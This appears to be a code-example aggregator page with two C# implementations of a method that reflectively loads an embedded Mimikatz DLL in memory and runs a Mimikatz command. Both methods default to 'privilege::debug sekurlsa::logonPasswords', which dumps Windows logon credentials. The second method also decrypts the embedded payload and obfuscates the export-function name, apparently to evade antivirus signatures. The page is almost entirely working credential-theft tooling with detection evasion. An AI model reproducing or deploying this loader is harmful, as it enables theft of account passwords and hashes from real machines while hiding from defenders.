Пример #1
0
        /// <summary>
        /// Loads the Mimikatz PE with `PE.Load()` and executes a chosen Mimikatz command.
        /// </summary>
        /// <param name="Command">Mimikatz command to be executed.</param>
        /// <returns>Mimikatz output.</returns>
        public static string Command(string Command = "privilege::debug sekurlsa::logonPasswords")
        {
            // Console.WriteLine(String.Join(",", System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames()));
            if (MimikatzPE == null)
            {
                string[] manifestResources = System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames();
                if (IntPtr.Size == 4 && MimikatzPE == null)
                {
                    if (PEBytes32 == null)
                    {
                        PEBytes32 = Utilities.GetEmbeddedResourceBytes("powerkatz_x86.dll");
                        if (PEBytes32 == null)
                        {
                            return("");
                        }
                    }
                    MimikatzPE = PE.Load(PEBytes32);
                }
                else if (IntPtr.Size == 8 && MimikatzPE == null)
                {
                    if (PEBytes64 == null)
                    {
                        PEBytes64 = Utilities.GetEmbeddedResourceBytes("powerkatz_x64.dll");
                        if (PEBytes64 == null)
                        {
                            return("");
                        }
                    }
                    MimikatzPE = PE.Load(PEBytes64);
                }
            }
            if (MimikatzPE == null)
            {
                return("");
            }
            IntPtr functionPointer = MimikatzPE.GetFunctionExport("powershell_reflective_mimikatz");

            if (functionPointer == IntPtr.Zero)
            {
                return("");
            }

            MimikatzType mimikatz = (MimikatzType)Marshal.GetDelegateForFunctionPointer(functionPointer, typeof(MimikatzType));
            IntPtr       input    = Marshal.StringToHGlobalUni(Command);

            try
            {
                IntPtr output = mimikatz(input);
                return(Marshal.PtrToStringUni(output));
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("MimikatzException: " + e.Message + e.StackTrace);
                return("");
            }
        }
Пример #2
0
        /// <summary>
        /// Loads the Mimikatz PE with `PE.Load()` and executes a chosen Mimikatz command.
        /// </summary>
        /// <param name="Command">Mimikatz command to be executed.</param>
        /// <returns>Mimikatz output.</returns>
        public static string Command(string Command = "privilege::debug sekurlsa::logonPasswords")
        {
            // Console.WriteLine(String.Join(",", System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceNames()));
            if (MimikatzPE == null)
            {
                if (IntPtr.Size == 8)  //x64 Unpack And Execute
                {
                    //x64 Unpack And Execute
                    Console.WriteLine("x64 !! Gocha");
                    PEBytes64  = Utilities.Decrypt(NonInteractiveMimikatz.Properties.Resources.x64powerkatz);
                    MimikatzPE = PE.Load(PEBytes64);
                }
                else if (IntPtr.Size == 4)
                {
                    //x86 Unpack And Execute
                    Console.WriteLine("x86 !! Gocha");
                    PEBytes32  = Utilities.Decrypt(NonInteractiveMimikatz.Properties.Resources.Win32powerkatz);
                    MimikatzPE = PE.Load(PEBytes32);
                }
            }
            if (MimikatzPE == null)
            {
                return("");
            }
            IntPtr functionPointer = MimikatzPE.GetFunctionExport("pAAAowershell_".Replace("AAA", "") + " reflective_".TrimStart() + " mimikatz".Trim());

            if (functionPointer == IntPtr.Zero)
            {
                return("");
            }
            MimikatzType mimikatz = (MimikatzType)Marshal.GetDelegateForFunctionPointer(functionPointer, typeof(MimikatzType));
            IntPtr       input    = Marshal.StringToHGlobalUni(Command);

            try
            {
                IntPtr output = IntPtr.Zero;
                Thread t      = new Thread(() =>
                {
                    try
                    {
                        output = mimikatz(input);
                    }
                    catch (Exception e)
                    {
                        Console.Error.WriteLine("MimikatzException: " + e.Message + e.StackTrace);
                    }
                });
                t.Start();
                t.Join();
                Marshal.FreeHGlobal(input);
                if (output == IntPtr.Zero)
                {
                    return("");
                }
                string stroutput = Marshal.PtrToStringUni(output);
                PInvoke.Win32.Kernel32.LocalFree(output);
                return(stroutput);
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("MimikatzException: " + e.Message + e.StackTrace);
                return("");
            }
        }